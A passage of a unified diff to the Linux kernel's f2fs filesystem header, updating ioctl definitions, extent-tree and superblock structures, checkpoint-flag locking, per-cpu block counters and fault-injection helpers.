FS_IOC_GETVERSION -#define FS_IOC_SHUTDOWN _IOR('X', 125, __u32) /* Shutdown */ - -/* - * Flags for going down operation used by FS_IOC_GOINGDOWN - */ -#define FS_GOING_DOWN_FULLSYNC 0x0 /* going down with full sync */ -#define FS_GOING_DOWN_METASYNC 0x1 /* going down with metadata */ -#define FS_GOING_DOWN_NOSYNC 0x2 /* going down */ -#define FS_GOING_DOWN_METAFLUSH 0x3 /* going down with meta flush */ #define F2FS_IOCTL_MAGIC 0xf5 #define F2FS_IOC_START_ATOMIC_WRITE _IO(F2FS_IOCTL_MAGIC, 1) @@ -243,45 +306,49 @@ static inline bool __has_cursum_space(struct f2fs_summary_block *sum, int size, #define F2FS_IOC_ABORT_VOLATILE_WRITE _IO(F2FS_IOCTL_MAGIC, 5) #define F2FS_IOC_GARBAGE_COLLECT _IO(F2FS_IOCTL_MAGIC, 6) #define F2FS_IOC_WRITE_CHECKPOINT _IO(F2FS_IOCTL_MAGIC, 7) +#define F2FS_IOC_DEFRAGMENT _IO(F2FS_IOCTL_MAGIC, 8) +#define F2FS_IOC_MOVE_RANGE _IOWR(F2FS_IOCTL_MAGIC, 9, \ + struct f2fs_move_range) + +#define F2FS_IOC_SET_ENCRYPTION_POLICY FS_IOC_SET_ENCRYPTION_POLICY +#define F2FS_IOC_GET_ENCRYPTION_POLICY FS_IOC_GET_ENCRYPTION_POLICY +#define F2FS_IOC_GET_ENCRYPTION_PWSALT FS_IOC_GET_ENCRYPTION_PWSALT -#define F2FS_IOC_SET_ENCRYPTION_POLICY \ - _IOR('f', 19, struct f2fs_encryption_policy) -#define F2FS_IOC_GET_ENCRYPTION_PWSALT \ - _IOW('f', 20, __u8[16]) -#define F2FS_IOC_GET_ENCRYPTION_POLICY \ - _IOW('f', 21, struct f2fs_encryption_policy) +/* + * should be same as XFS_IOC_GOINGDOWN. + * Flags for going down operation used by FS_IOC_GOINGDOWN + */ +#define F2FS_IOC_SHUTDOWN _IOR('X', 125, __u32) /* Shutdown */ +#define F2FS_GOING_DOWN_FULLSYNC 0x0 /* going down with full sync */ +#define F2FS_GOING_DOWN_METASYNC 0x1 /* going down with metadata */ +#define F2FS_GOING_DOWN_NOSYNC 0x2 /* going down */ +#define F2FS_GOING_DOWN_METAFLUSH 0x3 /* going down with meta flush */ #if defined(__KERNEL__) && defined(CONFIG_COMPAT) /* * ioctl commands in 32 bit emulation */ -#define F2FS_IOC32_GETFLAGS FS_IOC32_GETFLAGS -#define F2FS_IOC32_SETFLAGS FS_IOC32_SETFLAGS +#define F2FS_IOC32_GETFLAGS FS_IOC32_GETFLAGS +#define F2FS_IOC32_SETFLAGS FS_IOC32_SETFLAGS +#define F2FS_IOC32_GETVERSION FS_IOC32_GETVERSION #endif -/* - * For INODE and NODE manager - */ -/* for directory operations */ -struct f2fs_str { - unsigned char *name; - u32 len; +struct f2fs_defragment { + u64 start; + u64 len; }; -struct f2fs_filename { - const struct qstr *usr_fname; - struct f2fs_str disk_name; - f2fs_hash_t hash; -#ifdef CONFIG_F2FS_FS_ENCRYPTION - struct f2fs_str crypto_buf; -#endif +struct f2fs_move_range { + u32 dst_fd; /* destination fd */ + u64 pos_in; /* start position in src_fd */ + u64 pos_out; /* start position in dst_fd */ + u64 len; /* size to move */ }; -#define FSTR_INIT(n, l) { .name = n, .len = l } -#define FSTR_TO_QSTR(f) QSTR_INIT((f)->name, (f)->len) -#define fname_name(p) ((p)->disk_name.name) -#define fname_len(p) ((p)->disk_name.len) - +/* + * For INODE and NODE manager + */ +/* for directory operations */ struct f2fs_dentry_ptr { struct inode *inode; const void *bitmap; @@ -349,6 +416,7 @@ struct extent_node { struct rb_node rb_node; /* rb node located in rb-tree */ struct list_head list; /* node in global extent list of sbi */ struct extent_info ei; /* extent info */ + struct extent_tree *et; /* extent tree pointer */ }; struct extent_tree { @@ -356,9 +424,9 @@ struct extent_tree { struct rb_root root; /* root of extent info rb-tree */ struct extent_node *cached_en; /* recently accessed extent node */ struct extent_info largest; /* largested extent info */ + struct list_head list; /* to be used by sbi->zombie_list */ rwlock_t lock; /* protect extent info rb-tree */ - atomic_t refcount; /* reference count of rb-tree */ - unsigned int count; /* # of extent node in rb-tree*/ + atomic_t node_cnt; /* # of extent node in rb-tree*/ }; /* @@ -377,6 +445,7 @@ struct f2fs_map_blocks { block_t m_lblk; unsigned int m_len; unsigned int m_flags; + pgoff_t *m_next_pgofs; /* point next possible non-hole pgofs */ }; /* for flag in get_data_block */ @@ -384,6 +453,8 @@ struct f2fs_map_blocks { #define F2FS_GET_BLOCK_DIO 1 #define F2FS_GET_BLOCK_FIEMAP 2 #define F2FS_GET_BLOCK_BMAP 3 +#define F2FS_GET_BLOCK_PRE_DIO 4 +#define F2FS_GET_BLOCK_PRE_AIO 5 /* * i_advise uses FADVISE_XXX_BIT. We can add additional hints later. @@ -392,6 +463,7 @@ struct f2fs_map_blocks { #define FADVISE_LOST_PINO_BIT 0x02 #define FADVISE_ENCRYPT_BIT 0x04 #define FADVISE_ENC_NAME_BIT 0x08 +#define FADVISE_KEEP_SIZE_BIT 0x10 #define file_is_cold(inode) is_file(inode, FADVISE_COLD_BIT) #define file_wrong_pino(inode) is_file(inode, FADVISE_LOST_PINO_BIT) @@ -404,15 +476,8 @@ struct f2fs_map_blocks { #define file_clear_encrypt(inode) clear_file(inode, FADVISE_ENCRYPT_BIT) #define file_enc_name(inode) is_file(inode, FADVISE_ENC_NAME_BIT) #define file_set_enc_name(inode) set_file(inode, FADVISE_ENC_NAME_BIT) - -/* Encryption algorithms */ -#define F2FS_ENCRYPTION_MODE_INVALID 0 -#define F2FS_ENCRYPTION_MODE_AES_256_XTS 1 -#define F2FS_ENCRYPTION_MODE_AES_256_GCM 2 -#define F2FS_ENCRYPTION_MODE_AES_256_CBC 3 -#define F2FS_ENCRYPTION_MODE_AES_256_CTS 4 - -#include "f2fs_crypto.h" +#define file_keep_isize(inode) is_file(inode, FADVISE_KEEP_SIZE_BIT) +#define file_set_keep_isize(inode) set_file(inode, FADVISE_KEEP_SIZE_BIT) #define DEF_DIR_LEVEL 0 @@ -428,30 +493,27 @@ struct f2fs_inode_info { /* Use below internally in f2fs*/ unsigned long flags; /* use to pass per-file flags */ struct rw_semaphore i_sem; /* protect fi info */ - atomic_t dirty_pages; /* # of dirty pages */ + struct percpu_counter dirty_pages; /* # of dirty pages */ f2fs_hash_t chash; /* hash value of given file name */ unsigned int clevel; /* maximum level of given file name */ nid_t i_xattr_nid; /* node id that contains xattrs */ unsigned long long xattr_ver; /* cp version of xattr modification */ - struct inode_entry *dirty_dir; /* the pointer of dirty dir */ + loff_t last_disk_size; /* lastly written file size */ + struct list_head dirty_list; /* dirty list for dirs and files */ + struct list_head gdirty_list; /* linked in global dirty list */ struct list_head inmem_pages; /* inmemory pages managed by f2fs */ struct mutex inmem_lock; /* lock for inmemory pages */ - struct extent_tree *extent_tree; /* cached extent_tree entry */ - -#ifdef CONFIG_F2FS_FS_ENCRYPTION - /* Encryption params */ - struct f2fs_crypt_info *i_crypt_info; -#endif + struct rw_semaphore dio_rwsem[2];/* avoid racing between dio and gc */ }; static inline void get_extent_info(struct extent_info *ext, - struct f2fs_extent i_ext) + struct f2fs_extent *i_ext) { - ext->fofs = le32_to_cpu(i_ext.fofs); - ext->blk = le32_to_cpu(i_ext.blk); - ext->len = le32_to_cpu(i_ext.len); + ext->fofs = le32_to_cpu(i_ext->fofs); + ext->blk = le32_to_cpu(i_ext->blk); + ext->len = le32_to_cpu(i_ext->len); } static inline void set_raw_extent(struct extent_info *ext, @@ -496,20 +558,30 @@ static inline bool __is_front_mergeable(struct extent_info *cur, return __is_extent_mergeable(cur, front); } -static inline void __try_update_largest_extent(struct extent_tree *et, - struct extent_node *en) +extern void f2fs_mark_inode_dirty_sync(struct inode *, bool); +static inline void __try_update_largest_extent(struct inode *inode, + struct extent_tree *et, struct extent_node *en) { - if (en->ei.len > et->largest.len) + if (en->ei.len > et->largest.len) { et->largest = en->ei; + f2fs_mark_inode_dirty_sync(inode, true); + } } +enum nid_list { + FREE_NID_LIST, + ALLOC_NID_LIST, + MAX_NID_LIST, +}; + struct f2fs_nm_info { block_t nat_blkaddr; /* base disk address of NAT */ nid_t max_nid; /* maximum possible node ids */ - nid_t available_nids; /* maximum available node ids */ + nid_t available_nids; /* # of available node ids */ nid_t next_scan_nid; /* the next nid to be scanned */ unsigned int ram_thresh; /* control the memory footprint */ unsigned int ra_nid_pages; /* # of nid pages to be readaheaded */ + unsigned int dirty_nats_ratio; /* control dirty nats ratio threshold */ /* NAT cache management */ struct radix_tree_root nat_root;/* root of the nat entry cache */ @@ -521,9 +593,9 @@ struct f2fs_nm_info { /* free node ids management */ struct radix_tree_root free_nid_root;/* root of the free_nid cache */ - struct list_head free_nid_list; /* a list for free nids */ - spinlock_t free_nid_list_lock; /* protect free nid list */ - unsigned int fcnt; /* the number of free node id */ + struct list_head nid_list[MAX_NID_LIST];/* lists for free nids */ + unsigned int nid_cnt[MAX_NID_LIST]; /* the number of free node id */ + spinlock_t nid_list_lock; /* protect nid lists ops */ struct mutex build_lock; /* lock for build free nids */ /* for checkpoint */ @@ -543,6 +615,9 @@ struct dnode_of_data { nid_t nid; /* node id of the direct node block */ unsigned int ofs_in_node; /* data offset in the node page */ bool inode_page_locked; /* inode page is locked or not */ + bool node_changed; /* is node block changed */ + char cur_level; /* level of hole node page */ + char max_level; /* level of current page located */ block_t data_blkaddr; /* block address of the node block */ }; @@ -581,7 +656,6 @@ enum { CURSEG_WARM_NODE, /* direct node blocks of normal files */ CURSEG_COLD_NODE, /* indirect node blocks */ NO_CHECK_TYPE, - CURSEG_DIRECT_IO, /* to use for the direct IO path */ }; struct flush_cmd { @@ -593,6 +667,7 @@ struct flush_cmd { struct flush_cmd_control { struct task_struct *f2fs_issue_flush; /* flush thread */ wait_queue_head_t flush_wait_queue; /* waiting queue for wake-up */ + atomic_t submit_flush; /* # of issued flushes */ struct llist_head issue_list; /* list for command issue */ struct llist_node *dispatch_list; /* list for command dispatch */ }; @@ -643,12 +718,16 @@ struct f2fs_sm_info { * f2fs monitors the number of several block types such as on-writeback, * dirty dentry blocks, dirty node blocks, and dirty meta blocks. */ +#define WB_DATA_TYPE(p) (__is_cp_guaranteed(p) ? F2FS_WB_CP_DATA : F2FS_WB_DATA) enum count_type { - F2FS_WRITEBACK, F2FS_DIRTY_DENTS, + F2FS_DIRTY_DATA, F2FS_DIRTY_NODES, F2FS_DIRTY_META, F2FS_INMEM_PAGES, + F2FS_DIRTY_IMETA, + F2FS_WB_CP_DATA, + F2FS_WB_DATA, NR_COUNT_TYPE, }; @@ -672,6 +751,7 @@ enum page_type { META_FLUSH, INMEM, /* the below types are used by tracepoints only. */ INMEM_DROP, + INMEM_REVOKE, IPU, OPU, }; @@ -680,7 +760,8 @@ struct f2fs_io_info { struct f2fs_sb_info *sbi; /* f2fs_sb_info pointer */ enum page_type type; /* contains DATA/NODE/META/META_FLUSH */ int rw; /* contains R/RS/W/WS with REQ_META/REQ_PRIO */ - block_t blk_addr; /* block address to be written */ + block_t new_blkaddr; /* new block address to be written */ + block_t old_blkaddr; /* old block address before Cow */ struct page *page; /* page to be written */ struct page *encrypted_page; /* encrypted page */ }; @@ -694,6 +775,27 @@ struct f2fs_bio_info { struct rw_semaphore io_rwsem; /* blocking op for bio */ }; +#define FDEV(i) (sbi->devs[i]) +#define RDEV(i) (raw_super->devs[i]) +struct f2fs_dev_info { + struct block_device *bdev; + char path[MAX_PATH_LEN]; + unsigned int total_segments; + block_t start_blk; + block_t end_blk; +#ifdef CONFIG_BLK_DEV_ZONED + unsigned int nr_blkz; /* Total number of zones */ + u8 *blkz_type; /* Array of zones type */ +#endif +}; + +enum inode_type { + DIR_INODE, /* for dirty dir inode */ + FILE_INODE, /* for dirty regular/symlink inode */ + DIRTY_META, /* for all dirtied inode metadata */ + NR_INODE_TYPE, +}; + /* for inner inode cache management */ struct inode_management { struct radix_tree_root ino_root; /* ino entry array */ @@ -708,14 +810,36 @@ enum { SBI_IS_CLOSE, /* specify unmounting */ SBI_NEED_FSCK, /* need fsck.f2fs to fix */ SBI_POR_DOING, /* recovery is doing or not */ + SBI_NEED_SB_WRITE, /* need to recover superblock */ + SBI_NEED_CP, /* need to checkpoint */ }; +enum { + CP_TIME, + REQ_TIME, + MAX_TIME, +}; + +#ifdef CONFIG_F2FS_FS_ENCRYPTION +#define F2FS_KEY_DESC_PREFIX "f2fs:" +#define F2FS_KEY_DESC_PREFIX_SIZE 5 +#endif struct f2fs_sb_info { struct super_block *sb; /* pointer to VFS super block */ struct proc_dir_entry *s_proc; /* proc entry */ - struct buffer_head *raw_super_buf; /* buffer head of raw sb */ struct f2fs_super_block *raw_super; /* raw super block pointer */ - int s_flag; /* flags for sbi */ + int valid_super_block; /* valid super block no */ + unsigned long s_flag; /* flags for sbi */ + +#ifdef CONFIG_F2FS_FS_ENCRYPTION + u8 key_prefix[F2FS_KEY_DESC_PREFIX_SIZE]; + u8 key_prefix_size; +#endif + +#ifdef CONFIG_BLK_DEV_ZONED + unsigned int blocks_per_blkz; /* F2FS blocks per zone */ + unsigned int log_blocks_per_blkz; /* log2 F2FS blocks per zone */ +#endif /* for node-related operations */ struct f2fs_nm_info *nm_info; /* node manager */ @@ -727,32 +851,37 @@ struct f2fs_sb_info { /* for bio operations */ struct f2fs_bio_info read_io; /* for read bios */ struct f2fs_bio_info write_io[NR_PAGE_TYPE]; /* for write bios */ + struct mutex wio_mutex[NODE + 1]; /* bio ordering for NODE/DATA */ /* for checkpoint */ struct f2fs_checkpoint *ckpt; /* raw checkpoint pointer */ + int cur_cp_pack; /* remain current cp pack */ + spinlock_t cp_lock; /* for flag in ckpt */ struct inode *meta_inode; /* cache meta blocks */ struct mutex cp_mutex; /* checkpoint procedure lock */ struct rw_semaphore cp_rwsem; /* blocking FS operations */ struct rw_semaphore node_write; /* locking node writes */ - struct mutex writepages; /* mutex for writepages() */ wait_queue_head_t cp_wait; - long cp_expires, cp_interval; /* next expected periodic cp */ + unsigned long last_time[MAX_TIME]; /* to store time in jiffies */ + long interval_time[MAX_TIME]; /* to store thresholds */ struct inode_management im[MAX_INO_ENTRY]; /* manage inode cache */ /* for orphan inode, use 0'th array */ unsigned int max_orphans; /* max orphan inodes */ - /* for directory inode management */ - struct list_head dir_inode_list; /* dir inode list */ - spinlock_t dir_inode_lock; /* for dir inode list lock */ + /* for inode management */ + struct list_head inode_list[NR_INODE_TYPE]; /* dirty inode list */ + spinlock_t inode_lock[NR_INODE_TYPE]; /* for dirty inode list lock */ /* for extent tree cache */ struct radix_tree_root extent_tree_root;/* cache extent cache entries */ struct rw_semaphore extent_tree_lock; /* locking extent radix tree */ struct list_head extent_list; /* lru list for shrinker */ spinlock_t extent_lock; /* locking extent lru list */ - int total_ext_tree; /* extent tree count */ + atomic_t total_ext_tree; /* extent tree count */ + struct list_head zombie_list; /* extent zombie tree list */ + atomic_t total_zombie_tree; /* extent zombie tree count */ atomic_t total_ext_node; /* extent info count */ /* basic filesystem units */ @@ -769,17 +898,23 @@ struct f2fs_sb_info { unsigned int total_sections; /* total section count */ unsigned int total_node_count; /* total node block count */ unsigned int total_valid_node_count; /* valid node block count */ - unsigned int total_valid_inode_count; /* valid inode count */ + loff_t max_file_blocks; /* max block index of file */ int active_logs; /* # of active logs */ int dir_level; /* directory level */ block_t user_block_count; /* # of user blocks */ block_t total_valid_block_count; /* # of valid blocks */ - block_t alloc_valid_block_count; /* # of allocated blocks */ block_t discard_blks; /* discard command candidats */ block_t last_valid_block_count; /* for recovery */ u32 s_next_generation; /* for NFS support */ - atomic_t nr_pages[NR_COUNT_TYPE]; /* # of pages, see count_type */ + + /* # of pages, see count_type */ + atomic_t nr_pages[NR_COUNT_TYPE]; + /* # of allocated blocks */ + struct percpu_counter alloc_valid_block_count; + + /* valid inode count */ + struct percpu_counter total_valid_inode_count; struct f2fs_mount_info mount_opt; /* mount options */ @@ -808,7 +943,7 @@ struct f2fs_sb_info { atomic_t inline_inode; /* # of inline_data inodes */ atomic_t inline_dir; /* # of inline_dentry inodes */ int bg_gc; /* background gc calls */ - unsigned int n_dirty_dirs; /* # of dir inodes */ + unsigned int ndirty_inode[NR_INODE_TYPE]; /* # of dirty inodes */ #endif unsigned int last_victim[2]; /* last victim segment # */ spinlock_t stat_lock; /* lock for stat operations */ @@ -819,13 +954,111 @@ struct f2fs_sb_info { /* For shrinker support */ struct list_head s_list; + int s_ndevs; /* number of devices */ + struct f2fs_dev_info *devs; /* for device list */ struct mutex umount_mutex; unsigned int shrinker_run_no; + + /* For write statistics */ + u64 sectors_written_start; + u64 kbytes_written; + + /* Reference to checksum algorithm driver via cryptoapi */ + struct crypto_shash *s_chksum_driver; + + /* For fault injection */ +#ifdef CONFIG_F2FS_FAULT_INJECTION + struct f2fs_fault_info fault_info; +#endif }; +#ifdef CONFIG_F2FS_FAULT_INJECTION +static inline bool time_to_inject(struct f2fs_sb_info *sbi, int type) +{ + struct f2fs_fault_info *ffi = &sbi->fault_info; + + if (!ffi->inject_rate) + return false; + + if (!IS_FAULT_SET(ffi, type)) + return false; + + atomic_inc(&ffi->inject_ops); + if (atomic_read(&ffi->inject_ops) >= ffi->inject_rate) { + atomic_set(&ffi->inject_ops, 0); + printk("%sF2FS-fs : inject %s in %pF\n", + KERN_INFO, + fault_name[type], + __builtin_return_address(0)); + return true; + } + return false; +} +#endif + +/* For write statistics. Suppose sector size is 512 bytes, + * and the return value is in kbytes. s is of struct f2fs_sb_info. + */ +#define BD_PART_WRITTEN(s) \ +(((u64)part_stat_read(s->sb->s_bdev->bd_part, sectors[1]) - \ + s->sectors_written_start) >> 1) + +static inline void f2fs_update_time(struct f2fs_sb_info *sbi, int type) +{ + sbi->last_time[type] = jiffies; +} + +static inline bool f2fs_time_over(struct f2fs_sb_info *sbi, int type) +{ + struct timespec ts = {sbi->interval_time[type], 0}; + unsigned long interval = timespec_to_jiffies(&ts); + + return time_after(jiffies, sbi->last_time[type] + interval); +} + +static inline bool is_idle(struct f2fs_sb_info *sbi) +{ + struct block_device *bdev = sbi->sb->s_bdev; + struct request_queue *q = bdev_get_queue(bdev); + struct request_list *rl = &q->root_rl; + + if (rl->count[BLK_RW_SYNC] || rl->count[BLK_RW_ASYNC]) + return 0; + + return f2fs_time_over(sbi, REQ_TIME); +} + /* * Inline functions */ +#define SHASH_DESC_ON_STACK(shash, ctx) \ + char __##shash##_desc[sizeof(struct shash_desc) + \ + crypto_shash_descsize(ctx)] CRYPTO_MINALIGN_ATTR; \ + struct shash_desc *shash = (struct shash_desc *)__##shash##_desc + +static inline u32 f2fs_crc32(struct f2fs_sb_info *sbi, const void *address, + unsigned int length) +{ + SHASH_DESC_ON_STACK(shash, sbi->s_chksum_driver); + u32 *ctx = (u32 *)shash_desc_ctx(shash); + int err; + + shash->tfm = sbi->s_chksum_driver; + shash->flags = 0; + *ctx = F2FS_SUPER_MAGIC; + + err = crypto_shash_update(shash, address, length); + BUG_ON(err); + + return *ctx; +} + +static inline bool f2fs_crc_valid(struct f2fs_sb_info *sbi, __u32 blk_crc, + void *buf, size_t buf_size) +{ + return f2fs_crc32(sbi, buf, buf_size) == blk_crc; +} + static inline struct f2fs_inode_info *F2FS_I(struct inode *inode) { return container_of(inode, struct f2fs_inode_info, vfs_inode); @@ -908,17 +1141,17 @@ static inline struct address_space *NODE_MAPPING(struct f2fs_sb_info *sbi) static inline bool is_sbi_flag_set(struct f2fs_sb_info *sbi, unsigned int type) { - return sbi->s_flag & (0x01 << type); + return test_bit(type, &sbi->s_flag); } static inline void set_sbi_flag(struct f2fs_sb_info *sbi, unsigned int type) { - sbi->s_flag |= (0x01 << type); + set_bit(type, &sbi->s_flag); } static inline void clear_sbi_flag(struct f2fs_sb_info *sbi, unsigned int type) { - sbi->s_flag &= ~(0x01 << type); + clear_bit(type, &sbi->s_flag); } static inline unsigned long long cur_cp_version(struct f2fs_checkpoint *cp) @@ -926,26 +1159,50 @@ static inline unsigned long long cur_cp_version(struct f2fs_checkpoint *cp) return le64_to_cpu(cp->checkpoint_ver); } -static inline bool is_set_ckpt_flags(struct f2fs_checkpoint *cp, unsigned int f) +static inline bool __is_set_ckpt_flags(struct f2fs_checkpoint *cp, unsigned int f) { unsigned int ckpt_flags = le32_to_cpu(cp->ckpt_flags); + return ckpt_flags & f; } -static inline void set_ckpt_flags(struct f2fs_checkpoint *cp, unsigned int f) +static inline bool is_set_ckpt_flags(struct f2fs_sb_info *sbi, unsigned int f) { - unsigned int ckpt_flags = le32_to_cpu(cp->ckpt_flags); + return __is_set_ckpt_flags(F2FS_CKPT(sbi), f); +} + +static inline void __set_ckpt_flags(struct f2fs_checkpoint *cp, unsigned int f) +{ + unsigned int ckpt_flags; + + ckpt_flags = le32_to_cpu(cp->ckpt_flags); ckpt_flags |= f; cp->ckpt_flags = cpu_to_le32(ckpt_flags); } -static inline void clear_ckpt_flags(struct f2fs_checkpoint *cp, unsigned int f) +static inline void set_ckpt_flags(struct f2fs_sb_info *sbi, unsigned int f) { - unsigned int ckpt_flags = le32_to_cpu(cp->ckpt_flags); + spin_lock(&sbi->cp_lock); + __set_ckpt_flags(F2FS_CKPT(sbi), f); + spin_unlock(&sbi->cp_lock); +} + +static inline void __clear_ckpt_flags(struct f2fs_checkpoint *cp, unsigned int f) +{ + unsigned int ckpt_flags; + + ckpt_flags = le32_to_cpu(cp->ckpt_flags); ckpt_flags &= (~f); cp->ckpt_flags = cpu_to_le32(ckpt_flags); } +static inline void clear_ckpt_flags(struct f2fs_sb_info *sbi, unsigned int f) +{ + spin_lock(&sbi->cp_lock); + __clear_ckpt_flags(F2FS_CKPT(sbi), f); + spin_unlock(&sbi->cp_lock); +} + static inline void f2fs_lock_op(struct f2fs_sb_info *sbi) { down_read(&sbi->cp_rwsem); @@ -958,7 +1215,7 @@ static inline void f2fs_unlock_op(struct f2fs_sb_info *sbi) static inline void f2fs_lock_all(struct f2fs_sb_info *sbi) { - f2fs_down_write(&sbi->cp_rwsem, &sbi->cp_mutex); + down_write(&sbi->cp_rwsem); } static inline void f2fs_unlock_all(struct f2fs_sb_info *sbi) @@ -984,8 +1241,8 @@ static inline bool __remain_node_summaries(int reason) static inline bool __exist_node_summaries(struct f2fs_sb_info *sbi) { - return (is_set_ckpt_flags(F2FS_CKPT(sbi), CP_UMOUNT_FLAG) || - is_set_ckpt_flags(F2FS_CKPT(sbi), CP_FASTBOOT_FLAG)); + return (is_set_ckpt_flags(sbi, CP_UMOUNT_FLAG) || + is_set_ckpt_flags(sbi, CP_FASTBOOT_FLAG)); } /* @@ -1018,22 +1275,37 @@ static inline bool f2fs_has_xattr_block(unsigned int ofs) return ofs == XATTR_NODE_OFFSET; } +static inline void f2fs_i_blocks_write(struct inode *, blkcnt_t, bool); static inline bool inc_valid_block_count(struct f2fs_sb_info *sbi, - struct inode *inode, blkcnt_t count) + struct inode *inode, blkcnt_t *count) { - block_t valid_block_count; + blkcnt_t diff; - spin_lock(&sbi->stat_lock); - valid_block_count = - sbi->total_valid_block_count + (block_t)count; - if (unlikely(valid_block_count > sbi->user_block_count)) { - spin_unlock(&sbi->stat_lock); +#ifdef CONFIG_F2FS_FAULT_INJECTION + if (time_to_inject(sbi, FAULT_BLOCK)) return false; +#endif + /* + * let's increase this in prior to actual block count change in order + * for f2fs_sync_file to avoid data races when deciding checkpoint. + */ + percpu_counter_add(&sbi->alloc_valid_block_count, (*count)); + + spin_lock(&sbi->stat_lock); + sbi->total_valid_block_count += (block_t)(*count); + if (unlikely(sbi->total_valid_block_count > sbi->user_block_count)) { + diff = sbi->total_valid_block_count - sbi->user_block_count; + *count -= diff; + sbi->total_valid_block_count = sbi->user_block_count; + if (!*count) { + spin_unlock(&sbi->stat_lock); + percpu_counter_sub(&sbi->alloc_valid_block_count, diff); + return false; + } } - inode->i_blocks += count; - sbi->total_valid_block_count = valid_block_count; - sbi->alloc_valid_block_count += (block_t)count; spin_unlock(&sbi->stat_lock); + + f2fs_i_blocks_write(inode, *count, true); return true; } @@ -1044,22 +1316,27 @@ static inline void dec_valid_block_count(struct f2fs_sb_info *sbi, spin_lock(&sbi->stat_lock); f2fs_bug_on(sbi, sbi->total_valid_block_count < (block_t) count); f2fs_bug_on(sbi, inode->i_blocks < count); - inode->i_blocks -= count; sbi->total_valid_block_count -= (block_t)count; spin_unlock(&sbi->stat_lock); + f2fs_i_blocks_write(inode, count, false); } static inline void inc_page_count(struct f2fs_sb_info *sbi, int count_type) { atomic_inc(&sbi->nr_pages[count_type]); + + if (count_type == F2FS_DIRTY_DATA || count_type == F2FS_INMEM_PAGES || + count_type == F2FS_WB_CP_DATA || count_type == F2FS_WB_DATA) + return; + set_sbi_flag(sbi, SBI_IS_DIRTY); } static inline void inode_inc_dirty_pages(struct inode *inode) { - atomic_inc(&F2FS_I(inode)->dirty_pages); - if (S_ISDIR(inode->i_mode)) - inc_page_count(F2FS_I_SB(inode), F2FS_DIRTY_DENTS); + percpu_counter_inc(&F2FS_I(inode)->dirty_pages); + inc_page_count(F2FS_I_SB(inode), S_ISDIR(inode->i_mode) ? + F2FS_DIRTY_DENTS : F2FS_DIRTY_DATA); } static inline void dec_page_count(struct f2fs_sb_info *sbi, int count_type) @@ -1073,28 +1350,28 @@ static inline void inode_dec_dirty_pages(struct inode *inode) !S_ISLNK(inode->i_mode)) return; - atomic_dec(&F2FS_I(inode)->dirty_pages); - - if (S_ISDIR(inode->i_mode)) - dec_page_count(F2FS_I_SB(inode), F2FS_DIRTY_DENTS); + percpu_counter_dec(&F2FS_I(inode)->dirty_pages); + dec_page_count(F2FS_I_SB(inode), S_ISDIR(inode->i_mode) ? + F2FS_DIRTY_DENTS : F2FS_DIRTY_DATA); } -static inline int get_pages(struct f2fs_sb_info *sbi, int count_type) +static inline s64 get_pages(struct f2fs_sb_info *sbi, int count_type) { return atomic_read(&sbi->nr_pages[count_type]); } -static inline int get_dirty_pages(struct inode *inode) +static inline s64 get_dirty_pages(struct inode *inode) { - return atomic_read(&F2FS_I(inode)->dirty_pages); + return percpu_counter_sum_positive(&F2FS_I(inode)->dirty_pages); } static inline int get_blocktype_secs(struct f2fs_sb_info *sbi, int block_type) { - unsigned int pages_per_sec = sbi->segs_per_sec * - (1 << sbi->log_blocks_per_seg); - return ((get_pages(sbi, block_type) + pages_per_sec - 1) - >> sbi->log_blocks_per_seg) / sbi->segs_per_sec; + unsigned int pages_per_sec = sbi->segs_per_sec * sbi->blocks_per_seg; + unsigned int segs = (get_pages(sbi, block_type) + pages_per_sec - 1) >> + sbi->log_blocks_per_seg; + + return segs / sbi->segs_per_sec; } static inline block_t valid_user_blocks(struct f2fs_sb_info *sbi) @@ -1102,6 +1379,11 @@ static inline block_t valid_user_blocks(struct f2fs_sb_info *sbi) return sbi->total_valid_block_count; } +static inline block_t discard_blocks(struct f2fs_sb_info *sbi) +{ + return sbi->discard_blks; +} + static inline unsigned long __bitmap_size(struct f2fs_sb_info *sbi, int flag) { struct f2fs_checkpoint *ckpt = F2FS_CKPT(sbi); @@ -1139,22 +1421,27 @@ static inline void *__bitmap_ptr(struct f2fs_sb_info *sbi, int flag) static inline block_t __start_cp_addr(struct f2fs_sb_info *sbi) { - block_t start_addr; - struct f2fs_checkpoint *ckpt = F2FS_CKPT(sbi); - unsigned long long ckpt_version = cur_cp_version(ckpt); - - start_addr = le32_to_cpu(F2FS_RAW_SUPER(sbi)->cp_blkaddr); + block_t start_addr = le32_to_cpu(F2FS_RAW_SUPER(sbi)->cp_blkaddr); - /* - * odd numbered checkpoint should at cp segment 0 - * and even segment must be at cp segment 1 - */ - if (!(ckpt_version & 1)) + if (sbi->cur_cp_pack == 2) start_addr += sbi->blocks_per_seg; + return start_addr; +} +static inline block_t __start_cp_next_addr(struct f2fs_sb_info *sbi) +{ + block_t start_addr = le32_to_cpu(F2FS_RAW_SUPER(sbi)->cp_blkaddr); + + if (sbi->cur_cp_pack == 1) + start_addr += sbi->blocks_per_seg; return start_addr; } +static inline void __set_cp_next_pack(struct f2fs_sb_info *sbi) +{ + sbi->cur_cp_pack = (sbi->cur_cp_pack == 1) ? 2 : 1; +} + static inline block_t __start_sum_addr(struct f2fs_sb_info *sbi) { return le32_to_cpu(F2FS_CKPT(sbi)->cp_pack_start_sum); @@ -1181,13 +1468,13 @@ static inline bool inc_valid_node_count(struct f2fs_sb_info *sbi, } if (inode) - inode->i_blocks++; + f2fs_i_blocks_write(inode, 1, true); - sbi->alloc_valid_block_count++; sbi->total_valid_node_count++; sbi->total_valid_block_count++; spin_unlock(&sbi->stat_lock); + percpu_counter_inc(&sbi->alloc_valid_block_count); return true; } @@ -1200,7 +1487,7 @@ static inline void dec_valid_node_count(struct f2fs_sb_info *sbi, f2fs_bug_on(sbi, !sbi->total_valid_node_count); f2fs_bug_on(sbi, !inode->i_blocks); - inode->i_blocks--; + f2fs_i_blocks_write(inode, 1, false); sbi->total_valid_node_count--; sbi->total_valid_block_count--; @@ -1214,28 +1501,30 @@ static inline unsigned int valid_node_count(struct f2fs_sb_info *sbi) static inline void inc_valid_inode_count(struct f2fs_sb_info *sbi) { - spin_lock(&sbi->stat_lock); - f2fs_bug_on(sbi, sbi->total_valid_inode_count == sbi->total_node_count); - sbi->total_valid_inode_count++; - spin_unlock(&sbi->stat_lock); + percpu_counter_inc(&sbi->total_valid_inode_count); } static inline void dec_valid_inode_count(struct f2fs_sb_info *sbi) { - spin_lock(&sbi->stat_lock); - f2fs_bug_on(sbi, !sbi->total_valid_inode_count); - sbi->total_valid_inode_count--; - spin_unlock(&sbi->stat_lock); + percpu_counter_dec(&sbi->total_valid_inode_count); } -static inline unsigned int 